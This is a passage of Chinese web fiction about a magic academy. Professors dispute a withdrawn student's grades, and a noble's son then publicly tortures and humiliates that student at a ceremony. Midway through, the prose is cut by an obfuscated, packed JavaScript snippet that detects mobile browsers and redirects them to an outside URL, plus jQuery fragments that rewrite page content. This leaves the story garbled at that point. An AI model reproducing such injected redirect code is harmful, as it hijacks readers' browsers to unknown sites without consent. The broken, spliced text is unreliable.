“怎么会？他可是理论课上表现最优异的孩子！”
向来温和的史宾格老教授难得直截了当地提出异议，面上是一副不可思议的表情。
他对这个孩子印象很深，虽然安静沉默，但笔下的文字相当亮眼，甚至魔法史的第一堂课就被他选作范例。想来其他的课程也难不倒他，怎么会在魔法实践类课程上获得这样的评价？
“一个不魔法的魔法师是不可接受的，史宾格教授。”年轻而强壮的男性教授板着脸寸步不让，“我不管他在魔法史课上的表现有多么令你满意，光是文字和论述可培养不出一位魔法师。”
史宾格老教授微微蹙眉，“我想你没必要拿这个说事，霍勒斯教授。”
他知道某些专精元素操纵的魔法师并不在意理论的乐趣，而火元素的魔法师通常在这一方面更加突出，但是他不可能同意因此产生的偏见，“他学得很认真，你不能因为天赋不足就否定一个……”
“天赋不足？他施法的态度根本就不对！”霍勒斯教授的声音骤然提高，仿佛火焰炸开，随后又似是意识到不妥，将字句压低在喉咙里，“说真的，哪怕他是一个功利的、或是有野心的学生，我都不会给出这样的评价……”
他转过身寻求相同的意见，腰间的短鞭也随着他的动作划出凌厉的弧线，“你说呢，芙蕾妮教授？我相信他在你课上的表现同样不能令人满意。”
“他的施法确实有些……”卷曲短发的女性教授露出为难的神色，她不像霍勒斯教授那样严厉，但也无法给出违心的评价，“也可能是元素属性不稳定的原因，同时持有水元素和火元素的属性可能对他造成了影响……”
“这不是他开脱的理由！”霍勒斯教授阴沉的脸色已然是下定决心，“我在这个季度的课程上没有看到他的任何改进，下个季度我不会再纵容他！”
“好了好了，教授们……”一旁的希尔教授开口温言相劝，“这些课程的评价是相互独立的，我们大可以保留各自的看法。”
她也想起那张令她皱眉的羊皮纸，那个孩子在她的办公室里浑身紧绷着一言不发，连面前精致的茶杯都仿佛装着给他带来痛苦的魔药。
他似乎有太多话语不愿表达或无法表达，但又在羊皮纸上倾注了真实的想法……一个习惯了戒备与隐忍的苦孩子。
她不忍心逼迫，记录下一个平平的成绩后便放他走了。
“看看这个孩子吧。”
希尔教授似是不经意地转移话题，将另一份学生的档案放在桌上。
片刻的沉默后，大办公室内的气氛顿时缓和了一些，不少的教授脸上露出柔和的神色。
“很有天赋的孩子，元素的亲和力很强。”
霍勒斯教授面无表情地给出评价，熟悉他的人都知道这其实很难得。
芙蕾妮教授立刻附和，她至今仍对那天充满了活力的盛大施法印象很深，连土元素般寡言的匡茨教授也点头表示赞同。
“在理论课上的表现也不错，不是最杰出的，但是拥有好奇心和求知欲。”也许思维有些跳跃了，但史宾格教授不认为这有什么坏处。
温妮菲德教授却好像想到了什么，“希尔教授，难道……”
她在风元素操纵课上就很关注这个孩子，在这个年纪就能够如此灵动顺畅地使用魔力，哪怕说是被元素祝福的孩子也不为过。
希尔教授与她无言对视，惯常的笑意仿佛也淡了一些，最终只是沉默地点了点头。
“是吗……”温妮菲德教授得到了答案，似是在叹息，“她是特殊的孩子……”
“奥斯汀副院长。”
靠近的脚步和魔石轻轻碰撞的声响让教授们意识到副院长的到来。
面对纷纷起立示意的教授们，进入大办公室的奥斯汀副院长却直接神色冷淡地开口，“我不希望听到你们再讨论任何特殊的孩子，也不要刻意做任何方向的引导。”
“奥斯汀，这不是引导与否就可以决定的……”
希尔教授试图劝说，她与副院长有些私交，也只有她会不时直呼对方的名字，但现下显然不是个好时机。
“那就不要再做任何多余的事情。”
奥斯汀副院长淡漠地看着她，眼中不带任何感情。
希尔教授见状，只得轻叹着默默点头。
*
“怎么了爱丽丝，心情这么好？”伊莎贝拉偏着头好笑地问。
“嗯？嗯……”爱丽丝嘻嘻地笑，不好意思地摸了摸脸颊，“很明显吗？”
……那可太明显了，亲爱的。
伊莎贝拉在心里无奈地笑，她一眼就能看透爱丽丝简直要满溢出来的好心情。
春季学期即日结束，她们约好一起从宿舍出发，前往礼堂参加结课仪式，但伊莎贝拉知道爱丽丝可不是会因为假期的到来而多么雀跃的人。
“昨天收到的春季学期评价很不错？”她随口猜测。
“嗯？啊，虽然那个也不错啦……”爱丽丝语焉不详。
她收到了所有元素操纵课教授的一致好评，理论类课程的评价也不差，希尔教授的研讨会更是给了她很好的评分，但是其实……
她只是确定在全体学徒的结课仪式上一定能见到一个人，最近因为陆续的结课而不太能见到的一位。
所以……真的是他！
爱丽丝第无数次按捺着一点点兴奋在心里感叹。
如果水元素课程的排课早一些、让她能够早些遇到他的话，她肯定能更早认出他来的！
不过现在她又觉得这似乎并不重要，就算没有前往学院路上的一瞥、没有第一堂课上的邻座，他们也一定会在学习魔法的道路上无数次相遇的，因为她知道他和自己一样热爱魔法。
爱丽丝噙着微笑脚步轻快。
伊莎贝拉看着身边的人欲言又止。
她太好懂了，自己甚至不需要再做猜测就知道她在期待些什么。
出于担心，她曾拜托奥斯维德稍微调查了一下利亚诺的情况，在合理范围内的那种调查。
但是……
她有点不知道怎么开口，也许爱丽丝听到会难过的，因为她好像真的很希望他成为自己的同伴。
可是爱丽丝有必要知道那些，在那之后如果爱丽丝坚持自己的决定的话，她也会在条件允许的情况下帮助他们，但这一切的前提是爱丽丝需要明确地了解他的处境。
两人步入礼堂，伊莎贝拉决定趁着结课仪式开始前的等待时间开口。
“爱丽丝，你听我说……”
礼堂中传来的一阵惊呼和骚动打断了伊莎贝拉的话语。
几个高大的学徒强压着一个单薄的身影，制住他反抗的动作，将人粗暴地压向礼堂中央一个暗红发色的学徒身前。
而被控制着的那个学徒……伊莎贝拉瞥见爱丽丝的脸上立刻升起焦急而担忧的神色。
“很得意吧，理论全优的优等生？忘了你是什么身份了是不是？”
暗红发色的学徒高傲又缓慢地诘问，利亚诺抿着唇没有答话。
身后的学徒推搡着他，踢踹着他的小腿和膝窝好像想让他跪下，他咬牙抵抗着站住了。
他知道抵抗的后果，这会让他接下来一段时间里都不可能好过，但是他仅剩的尊严在胸口暗暗地翻涌叫嚣。
不要在这里……他不想在这里……
他知道自己会有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092919|195516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多么狼狈，所以至少……
“呵，骨头还挺硬……”对面的人没给他任何幻想的机会，不怀好意地嗤笑了一声，狠厉的目光猛地向他瞪去。
“我看你能撑到什么时候！”
“呃……！”
腹部好像捱了重重一拳，利亚诺双膝一软就被压着跪倒在地上。
从旁人的视角来看，他对面的人根本没有任何动作，但是疼痛清晰地、毫不停歇地一遍遍碾过脆弱的内脏，叫他一瞬间就失去了全部力气。
“呜……”
太疼了，他克制不住地想要蜷缩起来，却被身后的帮凶牵制着双臂又抵着背部，只有挺直腰腹承受难言的苦楚。
暗红发色的恶徒似乎还觉得不够，一把拽下利亚诺的兜帽，粗暴地扯起他的发丝逼他抬起头。
堪堪及肩的黑发再也遮掩不住苍白的面庞，他的面孔彻底暴露在礼堂众学徒的视线之下。
无形的折磨再次袭来，利亚诺隐忍地紧紧闭上双眼，微张的嘴唇不住地颤抖，他能做的就只有把痛呼死死压抑在喉间。
爱丽丝感觉到自己在发抖。
她认得利亚诺忍痛的表情，她忘不掉利亚诺是怎么熬过了那节漫长的魔法生理学课。她小心地护着他的意愿，从来不去问他到底为什么会疼，但是今天……
爱丽丝强迫自己把视线从利亚诺令人心痛的表情上挪开，盯着那个暗红发色令人反胃的面孔。
是他，那个让利亚诺疼的人是他。
他让利亚诺熬了那么久还觉得不够，现在还要当众来羞辱他！
“爱丽丝！冷静点爱丽丝！”
身体自发行动起来，爱丽丝想都不想地就要冲上去，却被伊莎贝拉奋力拦住了。
“奥斯维德很快就到了，让他来处理！”
爱丽丝几乎听不进她的话，耳中只有利亚诺急促的喘息。
他在疼，利亚诺在疼，她看得出他要熬不住痛呼了。
“现在过去的话会让情况更糟！爱丽丝！”伊莎贝拉再也无法选取合适的交谈时机，不得不现在就在她耳边低呼，“假期的时候他是要回到格罗姆康特领地的！”
她感觉到被自己双臂紧紧搂住的爱丽丝猛然一僵。
……回到格罗姆康特领地？
……什么意思？
她不知道是因为契约、咒语、魔药还是别的什么，但是，让他疼的人，不正是格罗姆康特领地的人吗？
“利亚诺，现在告诉我，你是什么身份？”
特里迪克，也是格罗姆康特领主之子，用一种可以称之为悠闲的声音向利亚诺提问，却并不给他回答的机会。
“呃啊……！！”
疼痛无情地在脆弱处碾压搅动，在他的忍耐里浪潮一样翻覆掀起，直到逼出他再也熬不住的闷哼、求饶般的呜咽后才未尽兴地离去。
虚脱的身体无力地跪在礼堂中央，被毫无尊严地揪着衣领才不至于倒下，但这个姿势让他连蜷缩起来发抖都做不到，只有昂着头艰难地、破碎地喘息。
利亚诺涣散的目光看着前方，除了压抑的暗红色之外再看不到其他。
他知道的，他对自己的处境再清楚不过。
但是，她也许会失望吧。
那一点点因她的关心而聚集起来的、连他都不敢承认的暖意，只要一次将他尊严打碎的折磨便已被消耗殆尽。
他重新坠入深渊，周身只剩下黑暗、寒冷、疼痛、恐惧。
这没什么，因为他本就该这样的。
“我是……格罗姆康特家的……”
声音还在余痛里发抖，利亚诺绝望的灰色眼眸缓缓阖上。
“……家仆。”